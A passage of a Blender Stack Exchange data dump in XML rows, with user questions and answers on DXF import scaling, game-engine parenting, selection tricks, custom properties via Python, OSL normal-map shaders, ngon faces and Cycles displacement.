  <row Id="34249" PostTypeId="2" ParentId="34248" CreationDate="2015-07-19T18:32:38.680" Score="3" Body="&lt;h2&gt;Check scale, center geometry to origin, shift+C, clipping planes...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When importing DXF there are a few options to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NIjJ0m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is the scale. The default settings is scale = 1, wich obiuvsly means that Blender will multiply by this factor the incoming units of the DXF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you had drawn with your vectorial software a square of 2mx2m, blender will import an object of 2unitsx2units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were working in cm, your square shall measure 200. If in blender you are going to work in meters, you must put a 0.01 factor...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is valid also for the &lt;strong&gt;location&lt;/strong&gt; of objects. So it is important to consider also the relative &lt;strong&gt;distance&lt;/strong&gt; of the square from the &lt;strong&gt;origin&lt;/strong&gt; of the sistem. To avoid problems, if Is possible, I would suggest to move the geometry to the origin in your drawing software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tool that may come useful is &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KpNWr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will extend your view till all visible objects are in the 3d view. If it seem that the camera de-zoom too far away, there are probably objects much distant from the origin. Notice that they might come outside of the 3D camera's clipping planes, making them invisible.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-19T18:41:05.910" LastActivityDate="2015-07-19T18:41:05.910" CommentCount="47" ContentLicense="CC BY-SA 3.0" />
  <row Id="34250" PostTypeId="1" AcceptedAnswerId="34259" CreationDate="2015-07-19T18:42:37.097" Score="2" ViewCount="2841" Body="&lt;p&gt;I'm making (another) plane game but the propeller, which is parented to the plane, keeps moving weirdly.&lt;br&gt;&#xA;Here is an image of the whole plane, before I go into the game:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T4sEf.png&quot; alt=&quot;3dview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, when I go into the game, it looks like this:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EWBnq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWBnq.png&quot; alt=&quot;game1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is OK, so far. But now, when I move the mouse to rotate the plane, the propeller detaches from the plane:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TbLU0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TbLU0.png&quot; alt=&quot;game3&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/f75O7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f75O7.png&quot; alt=&quot;game2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep the propeller attached in the same position on the plane?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If it helps, here is the &lt;a href=&quot;http://www.pasteall.org/blend/37139&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastEditorUserId="2217" LastEditDate="2015-07-19T21:56:44.530" LastActivityDate="2017-09-02T17:45:20.083" Title="Child object doesn't stay relative to parent in BGE" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;transforms&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34251" PostTypeId="2" ParentId="33769" CreationDate="2015-07-19T19:10:05.113" Score="1" Body="&lt;p&gt;You have a &lt;em&gt;vertex color&lt;/em&gt; layer on the object which is causing this.&#xA;Remove it in &lt;em&gt;Properties &gt; Object Data &gt; Vertex Colors:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vv9TP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-19T19:10:05.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34252" PostTypeId="2" ParentId="33345" CreationDate="2015-07-19T19:22:41.040" Score="3" Body="&lt;p&gt;Unfortunately, selection tools don't support this directly. However, there are ways to accomplish the same result. For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deselect everything (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select the vertices you want to &quot;intersect&quot; with the previous selection. In your case, the vertices in the green rectangle.&lt;/li&gt;&#xA;&lt;li&gt;Hide the other geometry (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Do whatever it is you did to get the initial selection that you want to intersect (e.g. select by material)&lt;/li&gt;&#xA;&lt;li&gt;Create and assign a &lt;em&gt;vertex group&lt;/em&gt; to store the selection&lt;/li&gt;&#xA;&lt;li&gt;Unhide everything (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;) and deselect (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select the vertex group by clicking &lt;em&gt;Select&lt;/em&gt; in the &lt;em&gt;vertex groups&lt;/em&gt;  panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iwy5y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in most cases like yours the desired selection can easily be obtained with one or two box deselections. To deselect with box select (&lt;kbd&gt;B&lt;/kbd&gt;), use &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt; or hold &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; when defining the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDliz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-19T19:22:41.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34253" PostTypeId="1" CreationDate="2015-07-19T19:25:22.480" Score="0" ViewCount="164" Body="&lt;p&gt;If there are 2 objects in the scene, one has a custom property with the name of another object, is it possible to draw a colored solid or dotted line between those two in 3D/ortho view ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like this would be something related to the question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bgl.glEnable(bgl.GL_BLEND)&#xA;bgl.glColor4f(r, g, b, 1.0)&#xA;bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;bgl.glVertex2i(x0, y0)&#xA;bgl.glVertex2i(x1, y1)&#xA;bgl.glEnd()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I wonder if that will still work with viewport drawing code update.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2015-07-19T19:53:23.263" LastActivityDate="2015-07-19T19:53:23.263" Title="Drawing relationship lines in the view between 2 objects via Python - possible?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34254" PostTypeId="1" AcceptedAnswerId="34261" CreationDate="2015-07-19T19:31:20.217" Score="2" ViewCount="4648" Body="&lt;p&gt;I'm writing a tool with a very simple panel with buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On pressing a button a custom property with a specific name is to be assigned to the active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UI should have 2 buttons &lt;strong&gt;Target&lt;/strong&gt; and &lt;strong&gt;Clear&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pressing &lt;strong&gt;Target&lt;/strong&gt; button in the UI should create a custom property. &lt;/li&gt;&#xA;&lt;li&gt;Pressing &lt;strong&gt;Clear&lt;/strong&gt; button in the UI should delete customer property that was created by the &lt;strong&gt;Target&lt;/strong&gt; button (if such customer property is present).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, I have Cube and Sphere (names) objects. I would select Cube, then Sphere, press &lt;strong&gt;Target&lt;/strong&gt; button, and Cube will have custom property names &quot;target&quot; with value &quot;Sphere&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting both of them in any manner and pressing &lt;strong&gt;Clear&lt;/strong&gt; button would remove that custom property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about making such basic add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is a mock-up that should explain it all :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9qyn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to full screen image: &lt;a href=&quot;https://i.imgur.com/HE2HGyn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/HE2HGyn.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="55" LastEditDate="2015-07-19T23:50:27.797" LastActivityDate="2019-06-16T03:05:08.910" Title="How to create a custom property on an object by pressing UI button?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34256" PostTypeId="2" ParentId="34254" CreationDate="2015-07-19T20:05:22.593" Score="3" Body="&lt;p&gt;you want &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/info_quickstart.html#custom-properties&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;ID properties&lt;/em&gt;&lt;/a&gt;, they can be set per object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['whatever']&#xA;obj['some_property_name'] = 'some_value'&#xA;obj['some_property_name_2'] = 33&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; obj['some_property_name_2']&#xA;... 33 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-12-06T09:48:26.873" LastActivityDate="2015-12-06T09:48:26.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34258" PostTypeId="1" AcceptedAnswerId="34315" CreationDate="2015-07-19T20:43:03.773" Score="1" ViewCount="774" Body="&lt;p&gt;I'm going to eventually make a game and an animation. The first few scenes are going to be set in a mountainous area with a small canyon, a river running downhill to a lake, and one big mountain, which a small tunnel will be carved into. On this map, the dark blue is the tall mountain, the dark grey is the second level of elevation, the brown is the small tunnels, the light grey is the first level of elevation, and the blue is the water.&lt;img src=&quot;https://i.stack.imgur.com/cdBvJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious as how to actually do this, and I know there are a lot of tutorials on the subject. Thus, I came here to see what tips and ideas you guys have, as a community. I personally think that if I come to the nonprofessionals and freelancers, I can learn more about the assorted functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, I want to know if I should start with one big object and use that, or if I should make tons of small objects and link them together. This is not a question of finding images, this is a question of creating a landscape.&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="3401" LastEditDate="2015-07-21T03:36:30.890" LastActivityDate="2016-04-21T11:06:29.203" Title="Terrain Generation: Free Creation of Peaks, Canyons and Mountain Terrain" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34259" PostTypeId="2" ParentId="34250" CreationDate="2015-07-19T21:53:56.340" Score="3" Body="&lt;p&gt;This was a simple case of unapplied scale and rotation. The odd thing is blender handles parents with different transforms just fine, but the game engine does not.&lt;br&gt;&#xA;As a general rule everything in the BGE should have a scale of one, and no rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I did is apply the scale and rotation on both the plane and the propeller, then the normal object parent worked as expected in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/363/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;&lt;/strong&gt; is your fixed blend with parent working, plus you had the normals on your plane reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't seen my explanation on the parenting settings, go read it &lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot; title=&quot;It&amp;#39;s worth the read - you should up vote it too&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-07-19T21:53:56.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34260" PostTypeId="1" AcceptedAnswerId="34282" CreationDate="2015-07-19T23:14:55.000" Score="1" ViewCount="926" Body="&lt;p&gt;I'm trying to make a curved transition between some perpendicular planes (mocked up here with Photoshop):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oqzzs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to go about this? Perhaps creating some kind of curved edge? I tried using a bevel, but nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File here if it's useful: &lt;a href=&quot;https://drive.google.com/file/d/0B3TF2HeeQRyWRlRyQUcyMjhtaHM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B3TF2HeeQRyWRlRyQUcyMjhtaHM/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2015-07-20T12:21:57.140" Title="Fill a corner with a curve?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34261" PostTypeId="2" ParentId="34254" CreationDate="2015-07-19T23:54:49.143" Score="2" Body="&lt;p&gt;The question seems to be asking for an add-on to be written from scratch? which is too specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is yes, this is possible.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create an addon (see addon template).&lt;/li&gt;&#xA;&lt;li&gt;Create a panel, (see template for making a panel).&lt;/li&gt;&#xA;&lt;li&gt;Create an operator (see templates for creating those)&lt;/li&gt;&#xA;&lt;li&gt;The operator can assign a custom property, see the Quick Start section on &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/info_quickstart.html#custom-properties&quot; rel=&quot;nofollow&quot;&gt;Custom Properties&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So all of this is documented, best try to put this together to write your add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, to access templates, see:&lt;br&gt;&lt;strong&gt;Text Editor (Header) -&gt; Templates -&gt; Python&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-07-20T01:16:47.820" LastActivityDate="2015-07-20T01:16:47.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34262" PostTypeId="1" CreationDate="2015-07-20T01:06:03.773" Score="1" ViewCount="739" Body="&lt;p&gt;So i created this bear model with fur and rigged it but when i pose it only the bear´s base mesh moves and not the fur. i can´t find what to do anywhere. Need help please!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it looks like:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qY0F1.png&quot; alt=&quot;Weird bear looking stuff&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V0UJc.jpg&quot; alt=&quot;Rendered Bear&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5A3Jw.png&quot; alt=&quot;Posed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15783" LastActivityDate="2015-07-20T10:49:00.050" Title="Fur not moving with rigged main mesh" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34263" PostTypeId="1" CreationDate="2015-07-20T01:09:43.497" Score="1" ViewCount="260" Body="&lt;p&gt;I have a computer with a three monitor setup.  One of the monitors is a Cintiq 22HD that allows me to draw on the screen.  I also have an old Intuos 3 hooked up that lets me draw with a pen in the older 'blind' way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start blender and have it displaying on my main monitor, I can draw with my Intuos and Blender is very responsive.  However, if I drag my Blender application over to display on my Cintiq and try to draw with the Cintiq stylus, the response time is so slow I cannot effectively use it.  I would like to be able to use Blender on my Cintiq so I can see the graphics under my pen.  Perhaps for some reason the Cintiq is not using my graphics card to accelerate OpenGL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to get Blender to run at a useful speed on a Cintiq 22HD?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastEditorUserId="2217" LastEditDate="2015-07-21T20:47:32.583" LastActivityDate="2015-07-21T20:47:32.583" Title="Blender runs really slowly on my Cintiq 22HD" Tags="&lt;performance&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34264" PostTypeId="2" ParentId="34260" CreationDate="2015-07-20T01:14:20.267" Score="0" Body="&lt;p&gt;In some situations which appear similar to this one, you might be able to use the bevel modifier. In this case, the fact that the faces in your screen shot are distributed between two different objects is one of the issues that makes this a less than optimal solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found the easiest way to do similar things in my own projects is to add more geometry. In this case, I would add a cylinder, either in edit mode or object mode, orient it so the length of the cylinder is parallel to the x axis in your ~.blend file.  Then flatten the cylinder a bit by scaling along the z axis to the point where it has the desired appearance. Next, making sure you are in edit mode, select all of the vertices of the cylinder, then deselect the vertices of the cylinder that approximate the part of the geometry you wish to create. Delete all of the selected vertices, and you should be left with a curved surface approximating to a greater or lesser degree the surface you wish to add. You may need to flip the normals of the faces comprising the cylindrical surface you just added, and you'll need to connect them to the other objects in the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the cylinder to one of the two objects already in your scene by adding in edit mode may save a step later one. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-20T01:14:20.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34265" PostTypeId="2" ParentId="33946" CreationDate="2015-07-20T01:25:15.570" Score="7" Body="&lt;h2&gt;Store in a vector/normal variable:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's suppose you've got a Normal texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXSgA.jpg&quot; alt=&quot;see texture here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OSL Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader Bumped(&#xA;    normal NormalMap = 0, //the input (normal map vector starting &quot;empty&quot;)&#xA;    output closure color Bumped =0 //the output (closure, AKA the final shader)&#xA;) {&#xA;    N = normal(NormalMap[0], NormalMap[1], NormalMap[2]); // store X, Y, Z component from NormalMap&#xA;    Bumped = diffuse_toon(N, 0.5, 0); //define closure&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above creates a closure output named &quot;Bumped&quot; which is based on a &quot;diffuse_toon&quot; shader, whose normal information are stored in the variable &quot;N&quot; that we declared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CDxSY.jpg&quot; alt=&quot;result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Normal&quot; is a vector-like variable (x, y, z).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access the respective &quot;i&quot; component of the NormalMap use the syntax NormlaMap[i], as it's stored as an array.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;X = NormalMap[0]&lt;/li&gt;&#xA;&lt;li&gt;Y = NormalMap[1]&lt;/li&gt;&#xA;&lt;li&gt;Z = NormalMap[2]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That said, you can shorten the code by avoiding the use of the variable &lt;strong&gt;N&lt;/strong&gt;, just use your own like in this example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader Bumped(&#xA;normal NormalMap=0,&#xA;output closure color Bumped = 0&#xA;){&#xA;Bumped=diffuse_toon(NormalMap,0.5,0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a comparison between the result of the OSL shader and the one coming from Cycles nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2laiY.jpg&quot; alt=&quot;cycles vs. osl&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/364/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=364&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2016-06-05T14:56:53.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34266" PostTypeId="1" AcceptedAnswerId="34267" CreationDate="2015-07-20T02:15:26.993" Score="1" ViewCount="209" Body="&lt;p&gt;( &lt;a href=&quot;http://youtu.be/INqGuBeViHI&quot; rel=&quot;nofollow&quot;&gt;screencast of the issue in action&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get a better understanding of face creation. I've got some very high detailed faces I'm trying to make that will later be used with a subdivision (multires) for animating a displacement map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm nearly zoomed in 100% ... a few steps out ... and trying to create some Ngons. Most of the time it works perfectly but occasionally I will get a face that seems to ignore one of the vertices. When this happens the edges are created using the errant vertex but the face seems to skip it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The faces are all co-planar (0 distance on the Y axis). I even selected everything and re-scaled to 0 on Y to be sure but it didn't change anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a video showing what I'm doing. Basically trying to make sure I don't have any faces that are below a certain size near my seam. To do so I'm selecting nearby vertices and moving them to the seam edge vertices with auto-merge on. Then I'm deleting sub-optimal faces and re-creating them with the newly positioned vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the short screencast linked above to see the face being created with the strange edge. Perhaps this is just a wireframe preview bug? But I haven't seen it happen elsewhere in the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The precision I'm going for is sort of silly but it's one of those labor-of-love projects. I've found ways to make the ngon the way I want it to work, the video shows one workaround, but I've had most of my workaround methods fail and it becomes awfully intensive (I'm optimizing a couple thousand faces this way). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm using Gooseberry with wireframe colors on a different mesh that is adjacent to the one being used. Not mentioning this because I think it is the issue (this occurs when switching to the standard distribution). Just letting folks who might be confused by seeing nearby edges in an unusual color. &lt;/p&gt;&#xA;" OwnerUserId="14863" LastActivityDate="2015-07-20T03:06:13.467" Title="Issue with creating high precision Ngon faces" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34267" PostTypeId="2" ParentId="34266" CreationDate="2015-07-20T02:44:40.907" Score="2" Body="&lt;p&gt;It's a kind of warning that you are creating a concave quad face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ther's &lt;a href=&quot;http://strattonbrazil.blogspot.it/2009/12/ngons-are-they-really-that-evil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;an article&lt;/a&gt; that explains they should be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that render engine base their calculations on triangled meshes. Concave quad faces, as non planar quad faces, are not automatically splitted in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how it works by adding a plane and move the vertex with fixed z till is placed inside the triangle made by the other 3 vertices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/40adBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-20T03:06:13.467" LastActivityDate="2015-07-20T03:06:13.467" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34268" PostTypeId="2" ParentId="32992" CreationDate="2015-07-20T03:49:19.067" Score="2" Body="&lt;p&gt;I just read your question statements and comments.&#xA;Generally your approach is fine in my opinion. I try to supply some details here. Hope them help.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;External or internal?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Luis B suggested in his comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Have you tried using the Blender Python API to create an internal Python Script(as opposed to an external Python program)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think an external script may be more suitable in this case.&#xA;The conversion from a geometric representation(which is created by Blender) to computation representation(i.e. something like Eulerian grid) should be coupled with your simulation, not Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the computation grid may be staggered, or you want to use adaptive grid(such as an octree rather than a uniform grid), etc.&#xA;All of these requirements depend on your simulation's setting.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How to do the voxelization?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I assume you are using mesh geometry to represent elements and boundaries in your simulation.&#xA;Then in this case you need to traverse all meshes and decide which mesh the point belong to. &#xA;For convex mesh you can shoot one ray and check the intersections with the mesh. Two intersections means a point is outside this mesh. Also you need to handle the special case which a point is just right on the surface of mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process will be slow. But I think it is ok since you only run it once for each simulation configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to optimize its performance you can consider using some data structures like BVH(bounding volume hierarchy), kd tree or spatial hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things get much simpler if you can use procedural objects. For example you model a sphere using distance field function like $x^2+y^2+z^2-1=0$ rather than polygons. Then it is easier to decide whether a point is in a geometry(evaluate the distance field function and a negative value indicates the point is inside).&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="26640" LastEditDate="2018-02-22T00:13:48.750" LastActivityDate="2018-02-22T00:13:48.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34271" PostTypeId="2" ParentId="34108" CreationDate="2015-07-20T06:02:41.257" Score="7" Body="&lt;p&gt;A solution &lt;strong&gt;not&lt;/strong&gt; using the Displace Modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles, using the &lt;strong&gt;Displacement Input Socket&lt;/strong&gt; on the material Output, you can control the displacement with a combination of texture nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example of a simple (subdivided and UV unwrapped) plane, the wave texture is combined with a voronoi texture using an image texture of the letter A as the mix factor. In other words: the voronoi texture will only displace the parts with the letter A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTwic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4dSqC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is a true 3D displacement of the geometry, not just a bump map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBrjV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of version &lt;strong&gt;2.75&lt;/strong&gt;, this is only possible using the &lt;strong&gt;Experimental Feature set&lt;/strong&gt; in the Render controls&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J69xd.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and enabling &lt;strong&gt;True&lt;/strong&gt; as the &lt;strong&gt;Displacement Method&lt;/strong&gt; for 